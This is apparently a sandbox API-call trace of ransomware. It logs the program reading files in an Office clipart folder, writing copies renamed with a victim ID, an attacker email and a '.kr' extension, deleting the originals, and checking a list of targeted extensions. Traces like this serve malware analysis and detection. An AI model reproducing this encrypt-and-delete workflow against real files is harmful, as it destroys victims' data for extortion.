1 [0185.617] ReadFile (in: hFile=0x51c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0185.618] WriteFile (in: hFile=0x544, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0185.618] SetEndOfFile (hFile=0x544) returned 1 [0185.618] CloseHandle (hObject=0x544) returned 1 [0185.618] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.618] SetEndOfFile (hFile=0x51c) returned 1 [0185.621] CloseHandle (hObject=0x51c) returned 1 [0185.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 1 [0185.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0185.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0185.622] lstrlenW (lpString=".doc") returned 4 [0185.623] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.623] lstrlenW (lpString=".docx") returned 5 [0185.623] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0185.623] lstrlenW (lpString=".pdf") returned 4 [0185.623] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.623] lstrlenW (lpString=".xls") returned 4 [0185.623] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.623] lstrlenW (lpString=".xlsx") returned 5 [0185.623] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0185.623] lstrlenW (lpString=".ppt") returned 4 [0185.623] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0185.623] lstrlenW (lpString=".zip") returned 4 [0185.623] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.623] lstrlenW (lpString=".rar") returned 4 [0185.623] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.623] lstrlenW (lpString=".bz2") returned 4 [0185.623] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.623] lstrlenW (lpString=".7z") returned 3 [0185.623] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0185.623] lstrlenW (lpString=".dbf") returned 4 [0185.623] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0185.623] lstrlenW (lpString=".1cd") returned 4 [0185.623] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0185.623] lstrlenW (lpString=".jpg") returned 4 [0185.624] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0185.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0185.624] lstrlenW (lpString=".doc") returned 4 [0185.624] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.624] lstrlenW (lpString=".docx") returned 5 [0185.624] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0185.624] lstrlenW (lpString=".pdf") returned 4 [0185.624] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.624] lstrlenW (lpString=".xls") returned 4 [0185.624] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.624] lstrlenW (lpString=".xlsx") returned 5 [0185.624] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0185.624] lstrlenW (lpString=".ppt") returned 4 [0185.624] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0185.624] lstrlenW (lpString=".zip") returned 4 [0185.624] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.624] lstrlenW (lpString=".rar") returned 4 [0185.624] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.624] lstrlenW (lpString=".bz2") returned 4 [0185.624] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.624] lstrlenW (lpString=".7z") returned 3 [0185.624] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0185.624] lstrlenW (lpString=".dbf") returned 4 [0185.625] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0185.625] lstrlenW (lpString=".1cd") returned 4 [0185.625] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0185.625] lstrlenW (lpString=".jpg") returned 4 [0185.625] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.625] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0185.625] lstrlenW (lpString="PARNT_05.MID") returned 12 [0185.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0185.626] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=6020) returned 1 [0185.626] CloseHandle (hObject=0x51c) returned 1 [0185.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 0x220 [0185.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0185.627] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.627] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0185.628] GetLastError () returned 0x0 [0185.628] ReadFile (in: hFile=0x51c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x1784, lpOverlapped=0x0) returned 1 [0185.630] WriteFile (in: hFile=0x544, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x1790, lpOverlapped=0x0) returned 1 [0185.631] ReadFile (in: hFile=0x51c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0185.631] WriteFile (in: hFile=0x544, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0185.632] SetEndOfFile (hFile=0x544) returned 1 [0185.632] CloseHandle (hObject=0x544) returned 1 [0185.632] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.632] SetEndOfFile (hFile=0x51c) returned 1 [0185.635] CloseHandle (hObject=0x51c) returned 1 [0185.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 1 [0185.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0185.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0185.636] lstrlenW (lpString=".doc") returned 4 [0185.636] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.636] lstrlenW (lpString=".docx") returned 5 [0185.636] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0185.636] lstrlenW (lpString=".pdf") returned 4 [0185.636] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.636] lstrlenW (lpString=".xls") returned 4 [0185.636] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.636] lstrlenW (lpString=".xlsx") returned 5 [0185.636] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0185.637] lstrlenW (lpString=".ppt") returned 4 [0185.637] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0185.637] lstrlenW (lpString=".zip") returned 4 [0185.637] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.637] lstrlenW (lpString=".rar") returned 4 [0185.637] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.637] lstrlenW (lpString=".bz2") returned 4 [0185.637] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.637] lstrlenW (lpString=".7z") returned 3 [0185.637] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0185.637] lstrlenW (lpString=".dbf") returned 4 [0185.637] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0185.817] lstrlenW (lpString=".1cd") returned 4 [0185.817] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0185.817] lstrlenW (lpString=".jpg") returned 4 [0185.817] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0185.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0185.817] lstrlenW (lpString=".doc") returned 4 [0185.817] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.817] lstrlenW (lpString=".docx") returned 5 [0185.817] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0185.817] lstrlenW (lpString=".pdf") returned 4 [0185.817] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.818] lstrlenW (lpString=".xls") returned 4 [0185.818] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.818] lstrlenW (lpString=".xlsx") returned 5 [0185.818] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0185.818] lstrlenW (lpString=".ppt") returned 4 [0185.818] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0185.818] lstrlenW (lpString=".zip") returned 4 [0185.818] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.818] lstrlenW (lpString=".rar") returned 4 [0185.818] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.818] lstrlenW (lpString=".bz2") returned 4 [0185.818] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.818] lstrlenW (lpString=".7z") returned 3 [0185.818] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0185.818] lstrlenW (lpString=".dbf") returned 4 [0185.818] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0185.818] lstrlenW (lpString=".1cd") returned 4 [0185.818] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0185.818] lstrlenW (lpString=".jpg") returned 4 [0185.818] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.818] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0185.818] lstrlenW (lpString="PARNT_08.MID") returned 12 [0185.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.232] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=7347) returned 1 [0186.232] CloseHandle (hObject=0x538) returned 1 [0186.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 0x220 [0186.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.235] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.235] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0186.237] GetLastError () returned 0x0 [0186.237] ReadFile (in: hFile=0x538, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x1cb3, lpOverlapped=0x0) returned 1 [0186.239] WriteFile (in: hFile=0x51c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x1cc0, lpOverlapped=0x0) returned 1 [0186.240] ReadFile (in: hFile=0x538, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0186.240] WriteFile (in: hFile=0x51c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0186.240] SetEndOfFile (hFile=0x51c) returned 1 [0186.240] CloseHandle (hObject=0x51c) returned 1 [0186.240] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.240] SetEndOfFile (hFile=0x538) returned 1 [0186.243] CloseHandle (hObject=0x538) returned 1 [0186.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 1 [0186.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0186.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0186.244] lstrlenW (lpString=".doc") returned 4 [0186.244] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.244] lstrlenW (lpString=".docx") returned 5 [0186.244] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0186.244] lstrlenW (lpString=".pdf") returned 4 [0186.244] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.244] lstrlenW (lpString=".xls") returned 4 [0186.244] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.244] lstrlenW (lpString=".xlsx") returned 5 [0186.244] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0186.244] lstrlenW (lpString=".ppt") returned 4 [0186.244] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0186.244] lstrlenW (lpString=".zip") returned 4 [0186.244] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.244] lstrlenW (lpString=".rar") returned 4 [0186.244] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.244] lstrlenW (lpString=".bz2") returned 4 [0186.244] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.244] lstrlenW (lpString=".7z") returned 3 [0186.244] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0186.245] lstrlenW (lpString=".dbf") returned 4 [0186.245] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0186.245] lstrlenW (lpString=".1cd") returned 4 [0186.245] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0186.245] lstrlenW (lpString=".jpg") returned 4 [0186.245] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0186.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0186.245] lstrlenW (lpString=".doc") returned 4 [0186.245] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.245] lstrlenW (lpString=".docx") returned 5 [0186.245] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0186.245] lstrlenW (lpString=".pdf") returned 4 [0186.245] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.245] lstrlenW (lpString=".xls") returned 4 [0186.245] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.245] lstrlenW (lpString=".xlsx") returned 5 [0186.245] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0186.245] lstrlenW (lpString=".ppt") returned 4 [0186.245] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0186.245] lstrlenW (lpString=".zip") returned 4 [0186.245] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.245] lstrlenW (lpString=".rar") returned 4 [0186.245] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.245] lstrlenW (lpString=".bz2") returned 4 [0186.245] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.245] lstrlenW (lpString=".7z") returned 3 [0186.245] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0186.246] lstrlenW (lpString=".dbf") returned 4 [0186.246] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0186.246] lstrlenW (lpString=".1cd") returned 4 [0186.246] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0186.246] lstrlenW (lpString=".jpg") returned 4 [0186.246] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.246] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0186.246] lstrlenW (lpString="SHOW_01.MID") returned 11 [0186.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.247] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=6392) returned 1 [0186.247] CloseHandle (hObject=0x538) returned 1 [0186.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 0x220 [0186.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.247] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.247] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0186.248] GetLastError () returned 0x0 [0186.248] ReadFile (in: hFile=0x538, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x18f8, lpOverlapped=0x0) returned 1 [0186.285] WriteFile (in: hFile=0x51c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x1900, lpOverlapped=0x0) returned 1 [0186.286] ReadFile (in: hFile=0x538, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0186.286] WriteFile (in: hFile=0x51c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xea, lpOverlapped=0x0) returned 1 [0186.286] SetEndOfFile (hFile=0x51c) returned 1 [0186.287] CloseHandle (hObject=0x51c) returned 1 